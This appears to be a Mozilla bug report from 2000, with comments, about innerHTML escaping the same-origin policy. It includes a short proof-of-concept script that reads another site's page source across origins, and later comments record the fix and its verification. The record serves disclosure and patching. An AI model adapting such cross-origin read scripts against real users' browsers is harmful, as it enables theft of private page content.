39083 - innerHTML vulnerability

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[Mitchell Stoltz (not reading bugmail)]

Date: 
          Fri, 12 May 2000 15:35:59 +0300
   From: 
          Georgi Guninski <[e-mail]>
      To: 
          Mitchell Stoltz <[e-mail]>




The innerHTML property is not protected by Same Origin security policy.
This allows reading arbitrary documents that have images (probably all
other also).

The code is:
--------------------------------------------------
<SCRIPT>
a=window.open("http://www.yahoo.com");
function f()
{
 alert("Here is the source of Yahoo:
"+a.document.images[0].offsetParent.innerHTML);
}
setTimeout("f()",5000);
</SCRIPT>
--------------------------------------------------

Comment 1

[Mitchell Stoltz (not reading bugmail)]

Marking nsbeta2. Created testcase, in URL field above. Need to add security
check. I'd like to consider Georgi's suggestion that we set access to ALL DOM
properties to same-origin by default. This will save us having to inspect each
one of these properties for vulnerabilities such as this one. Is this feasible?
Will it break things? I think this is the policy IE uses. CCing DOM folks.

Comment 2

[Jesse Ruderman]

What prevents the page from simply doing a.document.innerHTML?

Should it even be able to get as far as a.document.images[0]?

(i agree that restricting access is a good default)

Comment 3

[leger]

Putting on [nsbeta2+] radar for beta2 fix. 

Comment 4

[Mitchell Stoltz (not reading bugmail)]

Fix checked in. Added security check for this porperty to all.js.

Comment 5

[John Unruh]

Verified per mstoltz' comments.